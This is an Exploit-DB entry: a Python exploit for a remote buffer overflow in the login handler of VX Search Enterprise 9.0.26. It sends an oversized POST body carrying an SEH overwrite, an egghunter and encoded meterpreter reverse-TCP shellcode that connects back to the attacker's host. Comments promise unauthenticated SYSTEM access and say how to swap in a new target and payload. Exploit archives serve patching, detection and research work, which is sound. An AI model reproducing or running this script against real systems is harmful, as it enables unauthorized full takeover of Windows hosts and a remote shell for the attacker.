Exploit-DB #40455
Description: VX Search Enterprise 9.0.26 - 'Login' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2016-10-05
Author: Tulpa

Exploit:
#!/usr/bin/python

print "VX Search Enterprise 9.0.26 Buffer Overflow Exploit"
print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"

#Author website: www.tulpa-security.com
#Author twitter: @tulpa_security

#Exploit will land you NT AUTHORITY\SYSTEM
#You do not need to be authenticated, password below is garbage
#Swop out IP, shellcode and remember to adjust '\x41' for bytes
#Tested on Windows 7 x86 Enterprise SP1

#Greetings to ozzie_offsec and carbonated

import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.123.132',80))

#bad chars \x00\x0a\x0d\x26

#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.123.128 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest

#payload size 308

buf =  ""
buf += "\xda\xd9\xba\x43\x1b\x3f\x40\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x47\x31\x50\x18\x03\x50\x18\x83\xc0\x47\xf9"
buf += "\xca\xbc\xaf\x7f\x34\x3d\x2f\xe0\xbc\xd8\x1e\x20\xda"
buf += "\xa9\x30\x90\xa8\xfc\xbc\x5b\xfc\x14\x37\x29\x29\x1a"
buf += "\xf0\x84\x0f\x15\x01\xb4\x6c\x34\x81\xc7\xa0\x96\xb8"
buf += "\x07\xb5\xd7\xfd\x7a\x34\x85\x56\xf0\xeb\x3a\xd3\x4c"
buf += "\x30\xb0\xaf\x41\x30\x25\x67\x63\x11\xf8\xfc\x3a\xb1"
buf += "\xfa\xd1\x36\xf8\xe4\x36\x72\xb2\x9f\x8c\x08\x45\x76"
buf += "\xdd\xf1\xea\xb7\xd2\x03\xf2\xf0\xd4\xfb\x81\x08\x27"
buf += "\x81\x91\xce\x5a\x5d\x17\xd5\xfc\x16\x8f\x31\xfd\xfb"
buf += "\x56\xb1\xf1\xb0\x1d\x9d\x15\x46\xf1\x95\x21\xc3\xf4"
buf += "\x79\xa0\x97\xd2\x5d\xe9\x4c\x7a\xc7\x57\x22\x83\x17"
buf += "\x38\x9b\x21\x53\xd4\xc8\x5b\x3e\xb0\x3d\x56\xc1\x40"
buf += "\x2a\xe1\xb2\x72\xf5\x59\x5d\x3e\x7e\x44\x9a\x41\x55"
buf += "\x30\x34\xbc\x56\x41\x1c\x7a\x02\x11\x36\xab\x2b\xfa"
buf += "\xc6\x54\xfe\x97\xc3\xc2\xc1\xc0\xb7\x92\xaa\x12\x48"
buf += "\x83\x76\x9a\xae\xf3\xd6\xcc\x7e\xb3\x86\xac\x2e\x5b"
buf += "\xcd\x22\x10\x7b\xee\xe8\x39\x11\x01\x45\x11\x8d\xb8"
buf += "\xcc\xe9\x2c\x44\xdb\x97\x6e\xce\xe8\x68\x20\x27\x84"
buf += "\x7a\xd4\xc7\xd3\x21\x72\xd7\xc9\x4c\x7a\x4d\xf6\xc6"
buf += "\x2d\xf9\xf4\x3f\x19\xa6\x07\x6a\x12\x6f\x92\xd5\x4c"
buf += "\x90\x72\xd6\x8c\xc6\x18\xd6\xe4\xbe\x78\x85\x11\xc1"
buf += "\x54\xb9\x8a\x54\x57\xe8\x7f\xfe\x3f\x16\xa6\xc8\x9f"
buf += "\xe9\x8d\xc8\xdc\x3f\xeb\xbe\x0c\xfc"

#pop pop ret 100159be

nseh = "\x90\x90\xEB\x0B"
seh = "\xbe\x59\x01\x10"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.123.132\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=admin"
evil += "&password=aaaaa\r\n"
evil += "\x41" * 12292 #subtract/add for payload
evil += "w00tw00t"
evil += "\x90" * 20
evil += buf
evil += "\x90" * 50
evil += "\x42" * 1614
evil += nseh
evil += seh
evil += "\x90" * 20
evil += egghunter
evil += "\x90" * 7000

print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()